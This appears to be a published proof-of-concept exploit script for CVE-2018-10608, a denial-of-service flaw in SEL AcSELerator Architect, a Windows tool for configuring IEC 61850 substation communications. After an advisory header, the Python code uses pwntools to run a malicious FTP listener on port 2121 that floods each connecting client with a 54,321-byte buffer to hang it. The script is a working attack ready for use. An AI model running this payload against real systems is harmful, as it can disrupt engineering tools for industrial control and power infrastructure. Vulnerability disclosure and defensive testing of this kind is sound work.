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#!/usr/bin/env python # coding: utf8 # # # SEL AcSELerator Architect 2.2.24 Remote CPU Exhaustion Denial of Service # # # Vendor: Schweitzer Engineering Laboratories, Inc. # Product web page: https://www.selinc.com # Affected version: 2.2.24.0 (ICD package version: 2.38.0) # # Summary: Substation communications networks using the IEC 61850 # MMS and GOOSE protocols require a systemic methodology to configure # message publications and subscriptions. acSELerator Architect # SEL-5032 Software is a Microsoft Windows application that streamlines # the configuration and documentation of IEC 61850 control and SCADA # communications. # # Description: AcSELerator Architect is prone to a denial-of-service (DoS) # vulnerability. An attacker may exploit this issue to cause CPU exhaustion, # resulting in application rendered non-responsive (AppHangB1 event). # # Tested on: Microsoft Windows 7 Ultimate SP1 (EN) 32bit # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # # # Advisory: https://applied-risk.com/index.php/download_file/view/106/165 # ICS-CERT: https://ics-cert.us-cert.gov/advisories/ICSA-18-191-02 # CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10608 # # 22.02.2018 # from pwn import * cool_data = '\x4A' * 54321 def bunn(): print """ #################################### SEL AcSELerator Architect 2.2.24.0 FTP Client Remote CPU Exhaustion (c) 2018 #################################### """ def main(): p = listen(2121) try: log.warn('Payload ready for deployment...(Ctrl-C for exit)\n') while True: p.wait_for_connection() if p: sys.stdout.write('▓≡') p.send(cool_data) except KeyboardInterrupt: p.success('OK!') p.close() except EOFError: print "Unexpected error brah:", sys.exc_info()[0] p.close() if __name__ == '__main__': bunn() main() |
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